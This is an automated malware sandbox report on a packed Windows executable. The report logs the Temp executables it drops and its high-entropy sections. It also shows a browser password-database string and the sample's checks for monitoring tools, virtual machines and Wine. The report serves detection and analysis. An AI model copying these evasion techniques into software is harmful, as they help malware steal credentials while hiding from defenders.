Mutant created: NULL

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

File created: C:\Users\user~1\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Y41xQGmT37.exe, 00000000.00000003.1304377828.00000000058CF000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1327994670.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1304067304.00000000058EA000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1328090076.00000000058DE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Y41xQGmT37.exe	ReversingLabs: Detection: 60%
Source: Y41xQGmT37.exe	Virustotal: Detection: 53%

Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

File read: C:\Users\user\Desktop\Y41xQGmT37.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Y41xQGmT37.exe "C:\Users\user\Desktop\Y41xQGmT37.exe"
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process created: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe "C:\Users\user~1\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe"
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process created: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe "C:\Users\user~1\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe"
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process created: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe "C:\Users\user~1\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process created: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe "C:\Users\user~1\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Y41xQGmT37.exe

Static file information: File size 1838592 > 1048576

Source: Y41xQGmT37.exe

Static PE information: Raw size of kohmmiqt is bigger than: 0x100000 < 0x198800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Unpacked PE file: 9.2.RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aviwlvzz:EW;ondpugpz:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Unpacked PE file: 10.2.PSWNUEKNC3FPT2DCN2C27VPRVU.exe.350000.0.unpack :EW;.rsrc:W;.idata :W;wfoskafw:EW;zpagxsbp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wfoskafw:EW;zpagxsbp:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: real checksum: 0x1a5c39 should be: 0x1b0692
Source: Y41xQGmT37.exe	Static PE information: real checksum: 0x1cf60c should be: 0x1c7dee
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe.0.dr	Static PE information: real checksum: 0x2c7ddd should be: 0x2bfe0c

Source: Y41xQGmT37.exe	Static PE information: section name:
Source: Y41xQGmT37.exe	Static PE information: section name: .idata
Source: Y41xQGmT37.exe	Static PE information: section name:
Source: Y41xQGmT37.exe	Static PE information: section name: kohmmiqt
Source: Y41xQGmT37.exe	Static PE information: section name: dhywrchu
Source: Y41xQGmT37.exe	Static PE information: section name: .taggant
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name:
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name: .idata
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name:
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name: aviwlvzz
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name: ondpugpz
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name: .taggant
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe.0.dr	Static PE information: section name:
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe.0.dr	Static PE information: section name: .idata
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe.0.dr	Static PE information: section name: wfoskafw
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe.0.dr	Static PE information: section name: zpagxsbp
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7C41 push esi; ret	0_3_010D7C42
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7C41 push esi; ret	0_3_010D7C42
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7C41 push esi; ret	0_3_010D7C42
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010E6DFF push cs; iretd	0_3_010E6E00
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010E6DFF push cs; iretd	0_3_010E6E00
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010E6DFF push cs; iretd	0_3_010E6E00
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7C41 push esi; ret	0_3_010D7C42
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7C41 push esi; ret	0_3_010D7C42
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7C41 push esi; ret	0_3_010D7C42
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010E6DFF push cs; iretd	0_3_010E6E00
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010E6DFF push cs; iretd	0_3_010E6E00
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010E6DFF push cs; iretd	0_3_010E6E00
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D5C21 push edx; iretd	0_3_010D5C22
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7439 push edi; retn 0063h	0_3_010D743A
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Code function: 0_3_010D7C41 push esi; ret	0_3_010D7C42

Source: Y41xQGmT37.exe	Static PE information: section name: entropy: 7.979235804546558
Source: Y41xQGmT37.exe	Static PE information: section name: kohmmiqt entropy: 7.95300420170329
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name: entropy: 7.793970002951595
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name: aviwlvzz entropy: 7.9546546835321985

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File created: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File created: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D171C4 second address: D171C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D1658C second address: D16591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D166E3 second address: D166E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D166E9 second address: D166ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
